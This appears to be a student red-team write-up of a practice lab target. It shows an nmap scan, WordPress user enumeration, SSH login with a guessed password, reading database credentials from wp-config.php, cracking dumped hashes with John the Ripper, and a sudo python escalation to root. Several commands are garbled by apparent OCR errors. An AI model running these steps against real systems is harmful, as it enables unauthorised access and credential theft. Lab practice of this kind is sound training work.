Red Team: Summary of Operations

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Exposed Services

- Nmap scan results for each machine reveal the below services and OS details:
- \$ nmap -sV 192.168.1.110

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-07-28 16:53 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0021s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 12.28 seconds
root@Kali:~#
```

- This scan identifies the services below as potential points of entry:
 - Target 1
 - Port 22/tcp Open SSH
 - Port 80/tcp Open HTTP
 - Port 111/tcp Open rpcbind
 - Port 139/tcp Open netbios-ssn
 - Port 445/tcp Open netbios-ssn

Critical Vulnerabilities

The following vulnerabilities were identified on each target:

Target 1

- User Enumeration (WordPress site)
- Found simple usernames and weak passwords (Hydra Command)

- Brute force ssh to gain access in to the system
- Secure files are not hidden
- User privileges and escalations are misconfigured

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - Flag 1: b9bbcb33ellb80be759c4e844862482d
 - **■** Exploit Used
 - WPScan to enumerate users of Target 1 WordPress site
 - Command:
 - wpscan url http://192.168.1.110/wordpress -eu
 - Username Michael targeted
 - Used guessing to guess user's password
 - Passwork : michael
 - Commands:
 - ssh michael@192.168.1.110
 - o pw: michael
 - o cd var/www/html
 - Is -
 - grep -REioh flag[[:digit:]]{.+} html

```
html/vendor/examples/scripts/XRegExp.js: // Augment XRegExp's regular expression synta x and flags. Note that when adding tokens, the html/vendor/examples/scripts/XRegExp.js: // Mode modifier at the start of the pattern only, with any combination of flags imsx: (?imsx) html/vendor/composer.lock: "stability-flags": [], html/service.html: ⟨!— flag1{b9bbcb33e11b80be759c4e844862482d} → michael@target1:/var/www$ grep -REioh flag[[:digit:]]{.+} html flag1{b9bbcb33e11b80be759c4e844862482d} michael@target1:/var/www$ □
```

- Flag 2: fc3fd58dcdad9ab23faca6e9a36e581c
 - Exploit Used
 - Same as Flag 1
 - Commands:
 - ssh michael@192.168.1.110
 - o pw: michael
 - o cd var/www
 - o Is -I
 - o cat flag2.txt

```
michael@target1:~$ cd /var/www michael@target1:/var/www$ ls flag2.txt michael@target1:/var/www$ cat flag2.txt flag2{fc3fd58dcdad9ab23faca6e9a36e581c} michael@target1:/var/www$
```

Flag 3: afc01ab56b50591e7dccf93122770cd2

■ Exploit Used

- Same exploits used to gain Flag 1 & 2.
- Access the MySQL database password
 - Commands:
 - cat /var/www/html/wordpress/wp-config.php
 - Find the DB_PASSWORD: R@v3nSecurity
 - mysql -u root -p
 - PW: R@v3nSecurity

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#a+
* Authentication Unique Keys and Salts.
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/
 WordPress.org secret-key service}
 ★ You can change these at any point in time to invalidate all existing cookies. This wil
```

- In mysql commands:
 - show databases:
 - use wordpress;
 - show tables;
- Exploring the tables, discovered the key in wp_posts table
 - select * from wp posts;

- Flag 4:715dea6c055b9fe3337544932F2941ce
 - Exploit Used:
 - Using the mysql commands again to gain access to the database from Flag 3
 - Commands:
 - show databases;
 - use wordpress;
 - show tables;
 - select * from wp users;
 - On a Kali machine used the ws_hashes.txt against John the Ripper to crack the hashes.
 - Command
 - john wp_hases.txt

- We get steve's password
 - o Pink84
 - ssh steven@192.168.1.110
 - Password: pink84
 - o sudo python -c
 - o cd /root
 - o Ls

o cat flag4.txt

```
root@Kali:~# john wp_hases.txt
Created directory: /root/.john
stat: wp_hases.txt: No such file or directory
root@Kali:~# john show wp_hashes.txt
stat: show: No such file or directory
root@Kali:~# john show wp_hashes.txt
stat: show: No such file or directory
root@Kali:~# nano wp_hases.txt
root@Kali:~# john wp_hases.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
```

